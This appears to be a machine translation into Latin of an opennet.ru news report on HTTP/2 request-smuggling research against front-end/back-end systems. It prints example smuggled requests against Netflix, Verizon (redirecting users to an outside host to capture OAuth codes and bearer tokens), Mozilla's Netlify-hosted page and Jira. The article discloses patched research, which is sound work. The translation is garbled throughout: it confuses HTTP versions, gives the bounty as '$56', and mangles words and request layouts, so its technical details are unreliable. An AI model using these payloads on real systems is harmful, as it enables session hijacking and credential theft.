Novum impetum in systemata ante-finem-backend quae sinit te in petitiones cudere

Systemata interretialia in quibus anteriora nexus per HTTP/II acceptat et ad tergum per HTTP/2 transmittit, expositae sunt novis variantibus oppugnationis HTTP Request smuggling, quod concedit, mittens petitiones clientium specialiter designatas, in contentum cudere. petitiones ab aliis utentibus processit in eodem processu inter frontend et backend. Oppugnatio adhibenda est ut JavaScript codicem malignum inserere in sessionem cum legitimo situ, praeterire accessum systematum regendi, parametris authenticas intercipere.

Problema afficit procuratores telas, libratores oneratis, acceleratores telae, systemata contenta partus aliasque figurationes in quibus petitiones redirectae sunt secundum schema ante-finem-backend. Auctor studii ostendit facultatem oppugnandi systemata in Netflix, Verizon, Bitbucket, Netlify CDN et Atlassian, et $56 in vulnerabilitate programmatis largitionis accepit. Quaestio etiam in F5 Networks producta confirmata est. Partialiter exitus afficit mod_proxy in Apache http server (CVE-2021-33193), fixum expectatur in versione 2.4.49 (quae tincidunt in primo Maio notificata sunt et ad 3 menses reficere accepit). In nginx, facultas capita specificandi "Content-Longitudo" et "Transfer-Encoding" simul obsessa est in ultima emissione (1.21.1). Instrumenta impetum iam ad toolkit Burp additae sunt et praesto sunt sicut extensio intrusoris Turbo.

Principium operandi novae methodi petitiones conponendi in negotiationem similis est vulnerabilitati, quae ab eodem indagatore ante duos annos notatur, sed limitatur ad anteriora quae postulationes accipiant per HTTP/1.1. Recole quod in consilio anteriori-backend, clientelae petitiones nodi additae receptae sunt, frontispicium, quod diuturnum TCP connexionem cum backendo ponit, quod petitiones directe processit. Per hoc commune nexum postulationes ex diversis utentibus traduci solent, quae catenam unam post alteram sequuntur, per protocollum HTTP separatum.

Ordo "HTTP Request smuggling" oppugnatio fundatur in eo quod frontes et tergum HTTP capitis usum interpretantur "Content-Longitudo" (totalem magnitudinem notitiarum in petitione determinat) et "Transfer-encoding: chunked" ( permittit translationem notitia in partibus) aliter. Exempli gratia, si frontend tantum sustinet "Content-Longitudo" sed "Transfer-Encoding: chunked" negligit, tunc oppugnator petitionem mittere potuit ut utrumque "Content-Longitudinem" et "Transfer-Encoding": huninum capitis, sed magnitudo "Content-Longitudo" non congruit quantitati catenae truncatae. In hoc casu, frons processura erit et petitionem secundum "Content-Longitudinem" redigendam, et tergum exspectabit scandalum ad complendum secundum "Transfer-Encoding: chunked" et reliquae caudae postulatio oppugnantis erit. in principio peregrinae petitionis sequentis transmissae.

Dissimile textui fundato HTTP/1.1 protocollum, quod in linea recta parsiditur, HTTP/2 est binarius protocollum et notitias praefinitae magnitudinis praefinitos manipulat. Nihilominus, HTTP/2 utitur pseudo-capitis qui respondentibus regularibus HTTP capitis. Cum mutua cum backend per HTTP/1.1, anterior haec pseudo-capita in similes HTTP/1.1 HTTP capitis transfert. Problema est tergum quod decisiones facit de parteing flumine innixa HTTP capitis a fronte positis, sine scitu parametri originalis petitionis.

In forma pseudo-capitis, valores "contentae-longitudinis" et "translatio-descriptio" traduci possunt, non obstante quod in HTTP/2 non adhibentur, quoniam magnitudo omnium notitiarum determinatur. campum separatum. Nihilominus in processu conversionis petitionem HTTP/II ad HTTP/2, hi capitis delati sunt et tergum confundere possunt. Duae oppugnationes principales sunt: ​​H1.1.TE et H2.CL, in quibus tergum fallitur per translationem falsam-descriptionis vel valoris contenti longitudinis quae non respondet quantitati corporis instantiae per anteriorem acceptum. HTTP/2 protocol.

Novum impetum in systemata ante-finem-backend quae sinit te in petitiones cudere

Exemplum oppugnationis H2.CL, longitudo pseudo-capitis contenta depravata est petitionem HTTP/2 ad Netflix mittendam. Haec petitio provenit in additamento capitis capitis Content-Longitudo HTTP cum accessu ad tergum per HTTP/1.1, sed quia magnitudo in Content-Longitudo minor est quam ipsa magnitudo, quaedam notitiarum in cauda discursum est. initium sequentis.

Exempli gratia, petitio HTTP/2 : methodus POST : iter /n : authoritas www.netflix.com content-longitudo 4 abcdGET /n HTTP/1.1 Hostia: 02.rs?x.netflix.com Foo: bar

Rogationem mittet ad backend: POST /n HTTP/1.1 Hostiam: www.netflix.com Content-Longitudo: 4 abcdGET /n HTTP/1.1 Hostiam: 02.rs?x.netflix.com Foo: bar

Cum Content-Longitudo ad 4, posteriora tantum "abcd" corpus rogationis accipiet, et reliqua "GET/n HTTP/1.1..." ut principium sequentis petitionis alteri usoris tenetur. Itaque sync in rivo erit, et rogationi proximae respondendo, eventus processus fictae petitionis reddetur. In casu Netflix, designans tertiam partem exercitus in "Host:" caput in petitione spoofed consecuta est responsio "Location: https://02.rs?x.netflix.com/n" clienti et licet arbitraria contenta clienti proferenda, inter quas JavaScript codicem exerceas in contextu Netflix situs.

Secunda variatio oppugnationis (H2.TE) coniungitur cum substitutione "Transfer-Encoding: chunked" header. Usus translationis pseudo-capitis in HTTP/II prohibetur per specificationem et petitiones cum ea praescribitur ut falsa tractanda sint. Quamvis hoc, nonnullae exsecutiones anteriores hanc postulationem ignorent et usum translationis pseudo-capitis in HTTP/2 permittunt, quod ad similem HTTP caput transfert. Si caput "Transfer-Encoding" praesens adest, tergum accipere potest ut prioritatem et notitias partium in "chunked" modum utendi caudices diversarum magnitudinum in forma "{magnitudine}\r\n{block} \r\n{size} \r\n{block}\r\n2" non obstante divisione initiali altiore magnitudine.

Talem lacunam esse praesentiam exemplo Verizonis demonstravit. Attamen quaestio de authenticatione portae et contenti systematis administrationis versatur, quae etiam per situs usus est ut Huffington Post et Engadget. Exempli gratia, petitio clientis super HTTP/2: : methodum POST : iter /identitfy/XUI : authoritas id.b2b.oath.com translatio-encoding chunked 0 GET /oops HTTP/1.1 Hostiam: psres.net Content-Longitudo: 10 x =

Causa HTTP/1.1 petitio ad tergum: POST /identity/XUI HTTP/1.1 Hostiam: id.b2b.oath.com Content-Longitudo: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Hostiam: psres.net Content- Longitudo : 10x=

Tergum, vicissim, caput "Content-Longitudo" neglexit et in-fluvio scindendi fecit secundum "Transfer-Encoding: chunked". In praxi, impetus fieri potuit petitiones usoris redirecti ad locum tuum, inter intercipiendas petitiones ad authenticas OAuth relatas, quarum parametri in Referer header apparuerunt, necnon sessionem authenticam simulans et documentorum usoris missionem ad incipiendum. oppugnator exercitus. GET /b2blanding/show/oops HTTP/1.1 Hostiam: psres.net Referer: https://id.b2b.oath.com/?...&code=secret GET / HTTP/1.1 Hostiam: psres.net LICENTIA: Vexillifer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik...

Ad aggrediendum HTTP/2 exsecutiones quae non permittunt denotare translationem pseudo-header, alia methodus proposita est quae substituens "Transfer-Encoding" caput applicans eam aliis pseudo-caputibus a novis characteribus separatis (conversis. ad HTTP/1.1 hoc in casu, duo HTTP capitis separati creati sunt).

Exempli gratia: Atlassianus Jira et Netlify CDN (ad Mozillae paginae Firefox incipientes inservire) hac problemate affecti sunt. Speciatim, petitio HTTP/2 : modus POST : iter / : authoritas start.mozilla.org foo b\r\n translatio-encoding : chunked 0\r\n \r\n GET / HTTP/1.1\r\n Hostiam : malum-netlify domain\r\n Content-Longitudo : 5\r\n\r\nx=

causa HTTP/1.1 POST / HTTP/1.1 petitio mittendi ad backend\r\n Hostiam: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: Content- chunked\r\n Longitudo: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: malum netlify domain\r\n Content-Longitudo: 5\r\n\ r \ nx =

Alia optio ad caput "Transfer-Encoding" substituendi erat, ut nomini alterius pseudo-capitis vel chordae cum methodo petitae apponeretur. Exempli gratia, cum Atlassianus Jira accessus, nomen pseudo-header "foo: bar\r\ntransfer-delatam" cum valore "chunked" consecutum est in additione capitis HTTP "foo: bar" et "translatio-delatam" : chunked", et denotans in pseudo-caput ":modum" valoris "GET / HTTP/1.1\r\nTransfer-encoding: chunked" translatus est in "GET/HTTP/1.1\r\ntransfer-encoding: chunked" .

Indagator qui problema identificavit etiam petitionem technicam obliquarum in frontes oppugnandas proposuit, in quibus separatus nexus ad tergum constituitur pro singulis IP inscriptionibus et negotiatio diversorum utentium non miscetur. Proposita ars non permittit te intercedere in aliis usorum petitionibus, sed efficit ut cella communi veneni, quae processus aliarum petitionum afficit, et permittat tibi substitutionem internae HTTP capitis adhiberi ut informationes de servitio transferas. frontend ad tergum (exempli gratia, cum authenticas in anteriori parte in talibus capitis informationes mittere potest de usuario currenti ad tergum). Exemplum applicandi methodi in praxi, utendo veneficii cache, dominari potuit paginas in servitio Bitbucket.

Source: opennet.ru